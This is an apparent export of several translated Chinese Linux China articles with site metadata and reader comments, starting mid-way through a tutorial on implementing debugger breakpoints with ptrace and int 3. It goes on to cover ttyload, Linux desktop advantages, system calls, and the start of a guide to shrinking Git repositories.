注意到 “Hello,” 在断点前打印出来了 —— 完全如我们计划的那样。同时注意到子进程停止的地方 —— 刚好就是单字节中断指令后面。
最后，如早先诠释的那样，为了让子进程继续运行，我们得做一些工作。我们用原来的指令替换掉中断指令，并且让进程从这里继续之前的运行。
```
/* Remove the breakpoint by restoring the previous data
** at the target address, and unwind the EIP back by 1 to
** let the CPU execute the original instruction that was
** there.
*/
ptrace(PTRACE_POKETEXT, child_pid, (void*)addr, (void*)data);
regs.eip -= 1;
ptrace(PTRACE_SETREGS, child_pid, 0, ®s);
/* The child can continue running now */
ptrace(PTRACE_CONT, child_pid, 0, 0);
```
这会使子进程继续打印出 “world！”，然后退出。
注意，我们在这里没有恢复断点。通过在单步调试模式下，运行原来的指令，然后将中断放回去，并且只在运行 PTRACE\_CONT 时做到恢复断点。文章稍后会展示 debuglib 如何做到这点。
### 更多关于 int 3
现在可以回过头去看看 `int 3` 和因特尔手册里那个神秘的说明，原文如下：
>
> 这个一字节格式是非常有用的，因为它可以用于使用断点来替换任意指令的第一个字节 ，包括哪些一字节指令，而不会覆写其它代码
>
>
>
int 指令在 x86 机器上占两个字节 —— `0xcd` 紧跟着中断数（细心的读者可以在上面列出的转储中发现 `int 0x80` 翻译成了 `cd 80`）。`int 3` 被编码为 `cd 03`，但是为其还保留了一个单字节指令 —— `0xcc`。
为什么这样呢？因为这可以允许我们插入一个断点，而不需要重写多余的指令。这非常重要，考虑下面的代码：
```
.. some code ..
jz foo
dec eax
foo:
call bar
.. some code ..
```
假设你想在 `dec eax` 这里放置一个断点。这对应一个单字节指令（操作码为 `0x48`）。由于替换断点的指令长于一个字节，我们不得不强制覆盖掉下个指令（`call`）的一部分，这就会篡改 `call` 指令，并很可能导致一些完全不合理的事情发生。这样一来跳转到 `foo` 分支的 `jz foo` 指令会导致什么？就会不在 dec eax 这里停止，CPU 径直去执行后面一些无效的指令了。
而有了单字节的 `int 3` 指令，这个问题就解决了。 1 字节是在 x86 上面所能找到的最短指令，这样我们可以保证仅改变我们想中断的指令。
### 封装一些晦涩的细节
很多上述章节样例代码的底层细节，都可以很容易封装在方便使用的 API 里。我已经做了很多封装的工作，将它们都放在一个叫做 debuglib 的通用库里 —— 文末可以去下载。这里我仅仅是想展示它的用法示例，但是绕了一圈。下面我们将追踪一个用 C 写的程序。
### 追踪一个 C 程序地址和入口
目前为止，为了简单，我把注意力放在了目标汇编代码。现在是时候往上一个层次，去看看我们如何追踪一个 C 程序。
事实证明并不是非常难 —— 找到放置断点位置有一点难罢了。考虑下面样例程序：
```
#include <stdio.h>
void do_stuff()
{
printf("Hello, ");
}
int main()
{
for (int i = 0; i < 4; ++i)
do_stuff();
printf("world!\n");
return 0;
}
```
假设我想在 `do_stuff` 入口处放置一个断点。我会先使用 `objdump` 反汇编一下可执行文件，但是打印出的东西太多。尤其看到很多无用，也不感兴趣的 C 程序运行时的初始化代码。所以我们仅看一下 `do_stuff` 部分：
```
080483e4 <do_stuff>:
80483e4: 55 push %ebp
80483e5: 89 e5 mov %esp,%ebp
80483e7: 83 ec 18 sub $0x18,%esp
80483ea: c7 04 24 f0 84 04 08 movl $0x80484f0,(%esp)
80483f1: e8 22 ff ff ff call 8048318 <puts@plt>
80483f6: c9 leave
80483f7: c3 ret
```
那么，我们将会把断点放在 `0x080483e4`，这是 `do_stuff` 第一条指令执行的地方。而且，该函数是在循环里面调用的，我们想要在断点处一直停止执行直到循环结束。我们将会使用 debuglib 来简化该流程，下面是完整的调试函数：
```
void run_debugger(pid_t child_pid)
{
procmsg("debugger started\n");
/* Wait for child to stop on its first instruction */
wait(0);
procmsg("child now at EIP = 0x%08x\n", get_child_eip(child_pid));
/* Create breakpoint and run to it*/
debug_breakpoint* bp = create_breakpoint(child_pid, (void*)0x080483e4);
procmsg("breakpoint created\n");
ptrace(PTRACE_CONT, child_pid, 0, 0);
wait(0);
/* Loop as long as the child didn't exit */
while (1) {
/* The child is stopped at a breakpoint here. Resume its
** execution until it either exits or hits the
** breakpoint again.
*/
procmsg("child stopped at breakpoint. EIP = 0x%08X\n", get_child_eip(child_pid));
procmsg("resuming\n");
int rc = resume_from_breakpoint(child_pid, bp);
if (rc == 0) {
procmsg("child exited\n");
break;
}
else if (rc == 1) {
continue;
}
else {
procmsg("unexpected: %d\n", rc);
break;
}
}
cleanup_breakpoint(bp);
}
```
为了避免修改 EIP 标志位和目的进程的内存空间的麻烦，我们仅需要调用 `create_breakpoint`，`resume_from_breakpoint` 和 `cleanup_breakpoint`。让我们来看看追踪上面的 C 代码样例会输出什么：
```
$ bp_use_lib traced_c_loop
[13363] debugger started
[13364] target started. will run 'traced_c_loop'
[13363] child now at EIP = 0x00a37850
[13363] breakpoint created
[13363] child stopped at breakpoint. EIP = 0x080483E5
[13363] resuming
Hello,
[13363] child stopped at breakpoint. EIP = 0x080483E5
[13363] resuming
Hello,
[13363] child stopped at breakpoint. EIP = 0x080483E5
[13363] resuming
Hello,
[13363] child stopped at breakpoint. EIP = 0x080483E5
[13363] resuming
Hello,
world!
[13363] child exited
```
如预期一样！
### 样例代码
[这里是](https://github.com/eliben/code-for-blog/tree/master/2011/debuggers_part2_code)本文用到的完整源代码文件。在归档中你可以找到：
* debuglib.h 和 debuglib.c - 封装了调试器的一些内部工作的示例库
* bp\_manual.c - 这篇文章开始部分介绍的“手动”设置断点的方法。一些样板代码使用了 debuglib 库。
* bp*use*lib.c - 大部分代码使用了 debuglib 库，用于在第二个代码范例中演示在 C 程序的循环中追踪。
### 引文
在准备本文的时候，我搜集了如下的资源和文章：
* [How debugger works](http://www.alexonlinux.com/how-debugger-works)
* [Understanding ELF using readelf and objdump](http://www.linuxforums.org/articles/understanding-elf-using-readelf-and-objdump_125.html)
* [Implementing breakpoints on x86 Linux](http://mainisusuallyafunction.blogspot.com/2011/01/implementing-breakpoints-on-x86-linux.html)
* [NASM manual](http://www.nasm.us/xdoc/2.09.04/html/nasmdoc0.html)
* [SO discussion of the ELF entry point](http://stackoverflow.com/questions/2187484/elf-binary-entry-point)
* [This Hacker News discussion](http://news.ycombinator.net/item?id=2131894) of the first part of the series
* [GDB Internals](http://www.deansys.com/doc/gdbInternals/gdbint_toc.html)
---
via: <http://eli.thegreenplace.net/2011/01/27/how-debuggers-work-part-2-breakpoints>
作者：[Eli Bendersky](http://eli.thegreenplace.net/) 译者：[wi-cuckoo](https://github.com/wi-cuckoo) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
ttyload：在终端中用彩色显示 Linux 的平均负载
|
Aaron Kili
|
https://www.tecmint.com/ttyload-shows-color-coded-graph-of-linux-load-average/
|
ttyload 是一个轻量级的实用程序，它为 Linux 和其他类 Unix 系统上提供随着时间变化的彩色平均负载。它使用标准的硬编码 ANSI 转义序列进行屏幕显示和着色。
|
/data/attachment/album/201705/29/162348q3eetkacujc9orck.jpg.thumb.jpg
|
/data/attachment/album/201705/29/162348q3eetkacujc9orck.jpg
| true | false | true |
geekpi
| false |
[
"监控",
"负载",
"ttyload"
] |
系统运维
|
{
"viewnum": 7899,
"commentnum": 0,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
ttyload 是一个轻量级的实用程序，它为 Linux 和其他类 Unix 系统上提供随着时间变化的彩色平均负载。它使用标准的硬编码 ANSI 转义序列进行屏幕显示和着色。
| 2017-05-30T10:17:00 | 2017-05-30T10:17:00 | 8,553 |
/article-8553-1.html
|
ttyload 是一个轻量级的实用程序，它为 Linux 和其他类 Unix 系统上提供随着时间变化的彩色平均负载。它实现了在终端中（“tty”）图形化跟踪系统的平均负载。
它已知可以在诸如 Linux、IRIX、Solaris、FreeBSD、MacOS X (Darwin) 和 Isilon OneFS 等系统上运行。它被设计为可以容易地移植到其他平台，但这也带来了一些艰苦的工作。
它的一些值得注意功能是：它使用标准的硬编码 ANSI 转义序列进行屏幕显示和着色。如果你想要在一个没有什么负载压力的系统中查看工作的情况，它甚至还自带了一个相对独立（默认不会安装，甚至不会构建）的负载炸弹。
**建议阅读：**[GoTTY：把你的 Linux 终端放到浏览器里面](/article-8445-1.html)
在本篇中，我们会向你展示如何在 Linux 安装及使用 ttyload，以在终端中用彩色图形查看系统的平均负载。
### 如何在 Linux 中安装 ttyload
在基于 Debian/Ubuntu 的发行版中，你可以输入下面的 apt 命令来从默认的系统仓库中安装 ttyload。
```
$ sudo apt-get install ttyload
```
在其他发行版中，你可以如下从 ttyload 的源码安装。
```
$ git clone https://github.com/lindes/ttyload.git
$ cd ttyload
$ make
$ ./ttyload
$ sudo make install
```
安装完成后，你可以输入下面的命令启动。
```
$ ttyload
```
*ttyload - 图形浏览 Linux 的平均负载*
注意：要关闭程序，只需按下 `Ctrl+C` 键。
你也可以定义两次刷新之间间隔的秒数。默认是 4 秒，最小是 1 秒。
```
$ ttyload -i 5
$ ttyload -i 1
```
要以单色模式运行，即它会关闭 ANSI 转义，如下使用 `-m`：
```
$ ttyload -m
```
*ttyload – 单色模式*
要获取 ttyload 的使用信息以及帮助，输入：
```
$ ttyload -h
```
下面是一些尚不支持的重要功能：
* 支持任意大小调整。
* 使用相同的基本引擎制作 X 前端，“3xload”。
* 面向日志的模式。
要获得更多信息，访问 ttyload 的主页：<http://www.daveltd.com/src/util/ttyload/>
就是这样了！在本文中，我们向你展示了如何在 Linux 中安装及使用 ttyload。通过下面的评论栏给我们回馈。
---
作者简介：
Aaron Kili 是一个 Linux 和 F.O.S.S 的爱好者，即将推出的 Linux SysAdmin 网络开发人员，目前也是 TecMint 的内容创作者，他喜欢和电脑一起工作，并且坚信共享知识。
---
via: <https://www.tecmint.com/ttyload-shows-color-coded-graph-of-linux-load-average/>
作者：[Aaron Kili](https://www.tecmint.com/author/aaronkili/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Linux 桌面系统的优势
|
Jonathan Terrasi
|
http://www.linuxinsider.com/story/84326.html
|
对于那些还对 Linux 系统犹豫不决，或是那些不甚了解 Linux 系统的用户，我将通过这篇文章给大家介绍一些使用 Linux 桌面系统的优势。
|
/data/attachment/album/201705/29/170234ng4e82w67t6g3bm3.jpg.thumb.jpg
|
/data/attachment/album/201705/29/170234ng4e82w67t6g3bm3.jpg
| true | false | true |
rusking
| false |
[
"Linux"
] |
观点
|
{
"viewnum": 13065,
"commentnum": 19,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "183.206.15.160",
"message": "Linux桌面系统的优势....小编 你觉得题目和文章相对嘛？<br />\r\n你谈了 定制：Arch Linux桌面的定制性很强？不错，我现在就有的是Arch。Linux桌面定制都很强好不好。我们就用aUbuntu说话，虽然放弃了Unity，但是他的桌面环境定制 也性强呀。Arch很轻量而已。说道定制 freebsd gentoo lfs才是无敌。软件安装都是编译的，做到性能上的最佳定制.<br />\r\n<br />\r\n感觉文章说的太散了.Linux的优势？还是桌面的优势？还是Linux系统+桌面的优势呢？<br />\r\n<br />\r\n10我给6最多啦/<br />\r\n<br />\r\n以上只是我个人的随便一眼后的评论/",
"username": "不着调的小男生 [Firefox 53.0|GNU/Linux]",
"date": "2017-05-29T21:07:02"
},
{
"postip": "220.166.31.136",
"message": "这个贴子里提的所谓优势对一般用户来说没有任何吸引力。<br />\r\n我觉得，如果不考虑与其它系统的兼容性。linux的桌面（如plasma5）的细节做的很适合办公，这个也许是一个优势～",
"username": "来自四川绵阳的 Chrome 56.0|GNU/Linux 用户",
"date": "2017-05-30T20:25:22"
},
{
"postip": "121.237.159.28",
"message": "不是很清楚，为什么Linux要跟Windows争桌面，linux本身就是给程序员用的，普通用户就用windows好了",
"username": "来自江苏南京的 Chrome 58.0|Windows 7 用户",
"date": "2017-05-30T22:22:02"
},
{
"postip": "125.71.65.88",
"message": "“而使用 Linux 系统，你可以在选择更新时通过签名检查进行严格的细粒度控制，大多数的发行版在系统更新时都默认强制安全检查。这种责任感源自于 Linux 系统的开源开发模式所带来的透明度。” 鬼扯！如果发行版的仓库没有提供包，那么用户只能用第三方的，但是第三方真的能够值得信任吗？如果用的是 http 下载，那理论上无论是包文件还是校验信息，统统都能被拦截替换成有问题的。对于那些第三方只提供源码包，用户是否有足够能力，精力，时间去验证源码，所以无论源码是否托管在什么网站，即便是 github 这样知名网站，依然存在被利用的",
"username": "来自四川成都的 Chromium 58.0|Ubuntu 用户",
"date": "2017-05-30T22:22:29"
},
{
"postip": "175.152.107.117",
"message": "这帖子鼓吹了好多年，作为业内人士也不得不说句，事实证明都是胡扯！",
"username": "来自四川成都的 Chrome 58.0|Mac 10.12 用户",
"date": "2017-05-30T22:30:17"
},
{
"postip": "222.210.108.99",
"message": "win用户无权发表意见，尤其是那种说linux是给程序员用的只能显示自己的无知，哈哈，而mac用户一度是看不起linux用户的，不管国内还是国外～～～",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-31T09:18:55"
},
{
"postip": "118.122.120.11",
"message": "什么叫无权？说不定那个网友桌子放着上有三大经典系统的电脑。只是发帖是用 Windows 电脑。",
"username": "来自四川成都的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-31T09:50:30"
},
{
"postip": "1.63.124.216",
"message": "Linux作为桌面使用最大的障碍是软件生态环境。",
"username": "来自黑龙江大庆的 Firefox 52.0|Windows 8.1 用户",
"date": "2017-05-31T13:13:49"
},
{
"postip": "175.141.36.31",
"message": "有本事的话就反狡,<br />\r\n看看你的论据是否正确..",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-05-31T15:39:11"
},
{
"postip": "219.156.31.216",
"message": "作为10年的桌面用户，我以人民的名义告诉大家：Linux作为桌面系统实在没啥优势！首先缺乏驱动程序，显卡无法发挥出来性能，扫描仪不能使用。其次是应用程序。为什么把应用程序放在其次呢？因为应用程序可以替代。但是驱动程序不行。你总不能向公司汇报说：我的Linux没有这种型号扫描仪的驱动，给我换台扫描仪吧！",
"username": "来自河南郑州的 Firefox 53.0|Ubuntu 用户",
"date": "2017-05-31T16:13:00"
},
{
"postip": "125.79.145.125",
"message": "2k年接触Linux<br />\r\nLinux桌面只是个玩具，装B用<br />\r\n<br />\r\n别的大东西没用，我家用就玩个游戏，LOL、WOW之类的哪个支持？连个QQ都不支持，别告诉我wine。<br />\r\n更别说公司用，一些软件，都是运行在Win下的，甚至是运行在XP下的。<br />\r\n<br />\r\n不过，话又说回来，Linux做服务器，爽爽的，很多人跑个web服务，文件服务也在Win下跑，挺SB的",
"username": "来自福建三明的 Firefox 53.0|Windows 7 用户",
"date": "2017-05-31T16:48:52"
},
{
"postip": "124.250.3.18",
"message": "国家对版权的保护越来越好，以后想用免费的win说不定会很难。linux和开源是未来，将来国产cpu和国内定制版linux的出现应该是一种趋势，不管多少时间总会有的。如果国家出台对linux进行鼓励性的开发，对现有的软件进行鼓励开发，就像对国产动漫的鼓励一样，到时候就会有更多的国内的软件进行跨平台的开发维护。以后云是互联网的大势，我们很多东西都可以在云上完成，甚至是玩大型单机游戏，只需要一台简单设备就可以玩（详情见NVIDIA，现在好像很贵，另外，fuck you NVIDIA）。",
"username": "来自北京的 Chrome 58.0|GNU/Linux 用户",
"date": "2017-05-31T18:39:52"
},
{
"postip": "175.141.36.31",
"message": "精明的用户,<br />\r\n如果有打算用 Linux,<br />\r\n买硬件时就应该注意与了解<br />\r\n该硬件是否有提供 Linux 版的驱动.<br />\r\n<br />\r\n不要以后才来哭天喊地的..",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-06-01T04:42:40"
},
{
"postip": "175.141.36.31",
"message": "Linux 用在玩游戏简直就是浪费,<br />\r\n都说它较适合用在编程和服务<br />\r\n<br />\r\n不想用 wine, 就用 crossover 咯..",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-06-01T04:52:27"
},
{
"postip": "222.209.155.231",
"message": "这种老调子只能忽悠新人，只要是个做开发的，Linux桌面频繁的假死会让你崩溃。<br />\r\n<br />\r\n如果只是文字办公还可以，对图形窗口依赖重点的工作真的没法好好干，太效率低了。<br />\r\n<br />\r\n现在win10也可以直接运行Linux，可是说弥补了与Mac的差距，我用来做开发环境有一年多时间了，可以说非常好用，有这么稳定的图形环境加好用的Linux命令行为什么要去装一个不稳定的Linux桌面？<br />\r\n<br />\r\n至于说免费，我说在国内说这个真的不脸红么？买版权的实在是太少太少了吧！",
"username": "来自四川成都的 Firefox 53.0|Windows 10 用户",
"date": "2017-06-01T20:26:07"
},
{
"postip": "219.140.27.202",
"message": "使用deepin 快两年了。 QQ TIM 都可以 完美运行。<br />\r\n建议你还是 多尝试下其他的 发行版！<br />\r\nDeepin 下面用 terminal 开发 不是美滋滋？",
"username": "jingwang [Chrome 50.0|Windows XP]",
"date": "2017-06-03T17:04:35"
},
{
"postip": "175.141.36.31",
"message": "十有八九阁下是没注意 RAM 的使用.<br />\r\n导致 RAM 不够用, 才会出现你所谓的假死.<br />\r\n明知不够用, 就该减少没必要的程序启动与运行, 不然就等于作死.",
"username": "yomun [Chrome 58.0|GNU/Linux]",
"date": "2017-06-04T00:01:51"
},
{
"postip": "27.203.178.50",
"message": "使用Linux和macOS要注意硬件兼容问题，买到不兼容Linux的产品会很麻烦。",
"username": "cuthead [Firefox 53.0|Ubuntu]",
"date": "2017-06-05T09:41:51"
},
{
"postip": "112.96.161.123",
"message": "现在gnu/linux哪个发行版能同时支持集显和独显笔记本电脑??以前只能集显和独显二选一.",
"username": "来自广东广州的 Chrome Mobile 58.0|Android 6.0 用户",
"date": "2017-06-21T09:44:23"
}
] |
[] |
对于那些还对 Linux 系统犹豫不决，或是那些不甚了解 Linux 系统的用户，我将通过这篇文章给大家介绍一些使用 Linux 桌面系统的优势。
| 2017-05-29T17:02:00 | 2017-05-29T17:02:00 | 8,554 |
/article-8554-1.html
|
当我放弃 Windows [转而使用 Linux 系统](http://www.linuxinsider.com/story/84286.html) 后，我的信心不断增长。出于安全方面的考虑促使我选用 Linux 系统，但是我很快发现了很多使用 Linux 桌面系统的优势。
对于那些还对 Linux 系统犹豫不决，或是那些不甚了解 Linux 系统的用户，我将通过这篇文章给大家介绍一些使用 Linux 桌面系统的优势。
### 免费才是王道
首先， Linux 系统完全免费。你无须为使用的操作系统或软件花费一分钱。除了免费获取软件产生的经济效益之外，你还可以在 Linux 系统中随意使用一些当前很流行的软件，比如文字处理软件和照片编辑软件——由于费用方面的原因，我们可能不太愿意花钱去购买这些软件。
微软的 Office 办公软件几乎是处理各种类型文档的一种标准软件了，但是它每年的费用竟高达 70 美元。然而，你却可以免费使用 [LibreOffice](http://www.libreoffice.org/) 软件来代替，它同样可以处理各种类型的文档，而且使用也很方便。
免费软件还能让您有机会尝试新的功能，并通过它们寻求商务和休闲的新方式，而且你也不需要支付任何预期的费用。
与其费尽周折的去衡量 Mac 或 Windows 系统的优点，你可以考虑下在[上百款不同风格的 Linux 发行版](https://en.wikipedia.org/wiki/Linux_distribution)中选择一款最适合自己的操作系统。
Linux 系统甚至在硬件方面也为用户节省了不少钱，比如有些厂商——尤其是戴尔公司——为购买预安装了 Linux 系统的电脑的用户提供打折优惠。这些电脑的价格相对来说比较便宜，因为用户无须再花钱购买微软的 Windows 系统许可证。
### 随心所欲的系统定制
其次，在 Linux 系统中，你可以对系统功能进行任意更改。 Linux 生态系统中的核心项目之一就是桌面环境——它是一些由基础的用户程序和可视化元素组成的一个集合，比如状态栏和启动器，这些元素构成了用户与计算机的一个交互界面。
有些 Linux 发行版还预安装了桌面环境。比如， Ubuntu 系统就预安装了 Unity 桌面。其它系统，比如 Debian 会在系统安装的过程中让用户选择需要的桌面环境。总之，在 Linux 系统中，用户都可以随意更换他们喜欢的桌面环境。
大多数的 Linux 发行版都支持（也就是兼容）那些非常流行的桌面环境，因此，找到一款适合自己的桌面系统也非常容易。在桌面系统这个万花筒里，你可以找到界面华丽的系统桌面，比如 KDE Plasma 或者 [Gnome](http://en.wikipedia.org/wiki/GNOME)，以及轻量级的系统桌面，比如 Xfce 和 MATE 桌面。使用任一款系统桌面，你都可以通过更改主题、系统托盘和菜单，以及仿照其它用户的桌面环境来进一步定制自己的桌面环境。
Linux 系统的可定制特性完全超出你的想象力。如果你更看重系统的稳定性，你可以使用 Mint 这个发行版系统，它对硬件的兼容性非常好，而且也能确保系统顺利更新。
除此之外，如果你希望及时领略前沿，你可以安装 Arch Linux ，每一款软件只要开发者一发布，你就可以进行得到最新更新。
如果你介乎于两者之间，既想要稳定的系统，也想运行一些几个崭新的程序，你可以下载程序的源代码（程序员所开发的代码文件），然后自己进行编译。这就需要你使用工具来编译源代码，生成一堆你的电脑可以运行的 0 和 1 组成的二进制文件。
你可以使用自己喜欢的任何方式去折腾属于自己的 Linux 系统。
### 无与伦比的安全性
第三，多才多艺的 Linux 系统还有一个更重要的特性：安全。
起初，尽管有一些针对 Linux 系统的病毒，但是跟 Mac 系统比起来，已经屈指可数了。更重要的是，实际上 Linux 系统的核心代码是开源的，对用户完全透明，这意味着你的 Linux 系统漏洞更少。
一些专有（比如，不开源）的操作系统被认为会影响用户安全，因为它们会启动一些实现方式糟糕的、不透明的进程，从而造成了巨大的威胁。
比如说， Windows 系统在升级的过程中，默认情况下[不会检查加密签名](https://duo.com/blog/out-of-box-exploitation-a-security-analysis-of-oem-updaters)来验证更新文件的可靠性。
而使用 Linux 系统，你可以在选择更新时通过签名检查进行严格的细粒度控制，大多数的发行版在系统更新时都默认强制安全检查。这种责任感源自于 Linux 系统的开源开发模式所带来的透明度。
像 Arch Linux 这种滚动发行版则增加了更多的安全性设置，因为一些重要的补丁一旦通过验证， Arch Linux 就会马上可以使用。你可能很难找到那些每天都提供更新的单一主流操作系统，但是这样的 Linux 发行版却有很多。
### 天生的编程环境
很多开发者或者任何对编程有兴趣的人都得益于 Linux 桌面系统中集成的强大开发工具。其中包括那些最经典的编程工具，比如 GNU C 编译器，或者 GCC 和 GNU Autoconf 工具都是 Linux 系统中一些非常重要的基础工具。
Linux 系统的大多数默认软件库都支持数十种编程语言，它包含了发行版中可以使用的预编译软件。
很多因特网的基础架构和许多联网设备都运行于 Linux 系统上——从服务器到智能设备，比如安防摄像机和恒温器。在 Linux 系统下开发调试这些设备的软件非常容易。如果你有一个跟计算机相关的项目， Linux 系统可以完美地支持你完成这个项目。
### 社区是 Linux 系统发展的关键
最后一点， Linux 系统拥有一个团结且友好型的社区。由于 Linux 在桌面系统是一个相对小众的桌面操作系统，仅占有 3% 左右的市场份额，因此， Linux 社区更希望有更多的潜在用户加入进来。
Linux 系统有很多的用户论坛，尤其是对新手比较友好的 Ubuntu 系统论坛，它包括非常丰富且全面的知识来帮助用户解决一些基本的系统问题。很多高级用户更倾向于使用 Linux 系统，因此那些 Linux 发行版都拥有非常非常详尽维基文档，以指导用户完成高级的系统应用项目。
甚至还有业余的 Linux 论坛和 [Reddit](http://www.reddit.com/) 讨论区，所涉及的范围包括从对比 Linux 系统各种应用软件到炫耀桌面主题等。总而言之，这是一个比 Windows 用户群更加友善的社区。
我沉浸在 Linux 的世界里两年多了，我更加相信 Linux 系统对每一个用户都有所帮助。我希望这篇文章能够让你了解到 Linux 桌面系统的各种优势。但是真正的乐趣是从中发现自己感兴趣的东西！
---
via: <http://www.linuxinsider.com/story/84326.html>
作者：[Jonathan Terrasi](http://www.linkedin.com/company/ect-news-network) 译者：[rusking](https://github.com/rusking) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
Linux 系统调用的初学者指南
|
Liz Rice
|
https://opensource.com/article/17/5/beginners-guide-syscalls
|
先前，我看到 Julien Friedman 的一个很棒的演讲，它用几行 Go 语言写了一个容器框架。这让我突然了解到容器只是一个受限的 Linux 进程中的机器。
|
/data/attachment/album/201705/29/223115moblccxqorxlcbe3.png.thumb.jpg
|
/data/attachment/album/201705/29/223115moblccxqorxlcbe3.png
| true | false | true |
geekpi
| false |
[
"系统调用",
"容器"
] |
观点
|
{
"viewnum": 5357,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
先前，我看到 Julien Friedman 的一个很棒的演讲，它用几行 Go 语言写了一个容器框架。这让我突然了解到容器只是一个受限的 Linux 进程中的机器。
| 2017-05-30T08:29:00 | 2017-05-30T08:29:00 | 8,555 |
/article-8555-1.html
|
在过去的几年中，我一直在做大量容器相关的工作。先前，我看到 [Julien Friedman](https://twitter.com/doctor_julz) 的一个很棒的演讲，它用几行 Go 语言写了一个容器框架。这让我突然了解到容器只是一个受限的 Linux 进程中的机器。
构建这个受限视图涉及到 [Golang 系统调用包](https://golang.org/pkg/syscall/)中的很多调用。最初，我只是用到了表面的那些，但过了一段时间，我想剥下洋葱的下一层，看看这些系统调用是什么，以及它们的工作原理。我将在 OSCON 的演讲中分享我所学到的东西。
顾名思义，[syscalls](http://man7.org/linux/man-pages/man2/syscalls.2.html) 即系统调用，它们是你从用户空间请求进入 Linux 内核的方式。内核为你做一些工作，例如创建一个进程，然后再回到用户空间。
有一个常见的机制使所有的系统调用转换到内核，这是由 **libc** 库处理的。 用户空间代码设置一些寄存器，包括其想要的系统调用的 ID 以及需要传递给系统调用的所有参数。它触发一个 “陷阱” 将控制转换到内核。
这就是用户空间代码如何向内核请求的，而 Linux 也有一个伪文件系统，它允许内核将信息传递给用户空间，其内容看起来像普通的目录和文件。
`/proc` 目录是一个很好的例子。看看里面，你会发现有关机器上运行的进程的各种有趣的信息。在某些情况，像 **cgroups**（控制组）那样，用户空间可以通过写入这些伪文件系统下的文件来配置参数。
当你在使用容器时，特别有趣的是，主机的 `/proc` 包含了所有有关容器化的进程的信息。这包括环境变量，它们也保存在 `/proc` 伪文件系统中，这意味着你的主机可以访问所有正在运行的容器的环境。如果你通过环境变量将诸如凭证或数据库密码这类秘密传递到容器中，则可能会产生安全性后果。
许多编写常规程序的程序员可能不觉得他们经常使用系统调用。但实际上他们会经常调用，因为每天的活动比如制作文件或者更改目录都涉及 Linux 的系统调用。
你不必是一位系统程序员才能享受系统调用的乐趣！
*如果你想要了解更多*，Liz 会在 Austin，Texas 举办的 OSCON 2017 上演讲 [*Linux 系统调用的初学者指南*](https://conferences.oreilly.com/oscon/oscon-tx/public/schedule/detail/56840)。
（题图： opensource.com）
---
作者简介：
Liz Rice - Liz Rice 是一位技术传播者，也是 Aqua Security 的容器安全专家。此前，她共同创立了 Microscaling Systems，并开发了其实时伸缩引擎，以及流行的图像元数据网站 MicroBadger.com。她拥有丰富的从网络协议和分布式系统，以及数字技术领域，如 VOD，音乐和 VoIP 软件的开发、团队和产品管理经验。
---
via: <https://opensource.com/article/17/5/beginners-guide-syscalls>
作者：[Liz Rice](https://opensource.com/users/lizrice) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何瘦身 Git 仓库
|
Atlassian.com
|
https://confluence.atlassian.com/bitbucket/maintaining-a-git-repository-321848291.html
|
对 Git 仓库的维护通常是为了减少仓库的大小。如果你从另外一个版本控制系统导入了一个仓库，你可能需要在导入后清除掉不必要的文件。
|
/data/attachment/album/201705/30/102343s54t1i5h28gz4nn4.jpg.thumb.jpg
|
/data/attachment/album/201705/30/102343s54t1i5h28gz4nn4.jpg
| true | false | true |
zhousiyu325
| false |
[
"版本控制",
"Git"
] |
技术
|
{
"viewnum": 17287,
"commentnum": 1,
"favtimes": 2,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "123.185.205.146",
"message": "Nice",
"username": "来自辽宁大连的 Chrome 76.0|Windows 10 用户",
"date": "2019-09-30T23:09:51"
}
] |
[] |
对 Git 仓库的维护通常是为了减少仓库的大小。如果你从另外一个版本控制系统导入了一个仓库，你可能需要在导入后清除掉不必要的文件。
| 2017-05-30T10:24:00 | 2017-05-30T10:24:00 | 8,556 |
/article-8556-1.html
|
对 Git 仓库的维护通常是为了减少仓库的大小。如果你从另外一个版本控制系统导入了一个仓库，你可能需要在导入后清除掉不必要的文件。本文着重于从一个 Git 仓库中删除大文件，并且包含下列主题：
* 理解从 Git 的历史记录中删除文件
* 使用 BFG 重写历史记录
* 可选，使用 `git filter-branch` 重写历史记录
* 垃圾回收
>
> **请格外小心.....**
>
>
> 本文中的步骤和工具使用的高级技术涉及破坏性操作。确保您在开始之前仔细读过并**备份了你的仓库**，创建一个备份最容易的方式是使用 [--mirror](http://stackoverflow.com/questions/3959924/whats-the-difference-between-git-clone-mirror-and-git-clone-bare) 标志对你的仓库克隆，然后对整个克隆的文件进行打包压缩。有了这个备份，如果在维护期间意外损坏了您的仓库的关键元素，那么你可以通过备份的仓库来恢复。
>
>
> 请记住，仓库维护对仓库的用户可能会是毁灭性的。与你的团队或者仓库的关注者进行沟通会是一个不错的主意。确保每个人都已经检查了他们的代码，并且同意在仓库维护期间停止开发。
>
>
>
### 理解从 Git 的历史记录中删除文件
回想一下，克隆仓库会克隆整个历史记录——包括每个源代码文件的所有版本。如果一个用户提交了一个较大的文件，比如一个 JAR，则随后的每次克隆都会包含这个文件。即使用户最终在后面的某次提交中删除了这个文件，但是这个文件仍然存在于这个仓库的历史记录中。要想完全的从你的仓库中删除这个文件，你必须：
* 从你的项目的*当前的*文件树中删除该文件;
* 从仓库的历史记录中删除文件——*重写* Git 历史记录，从包含该文件的*所有的*提交中删除这个文件;
* 删除指向*旧的*提交历史记录的所有 [reflog](http://git-scm.com/docs/git-reflog) 历史记录;
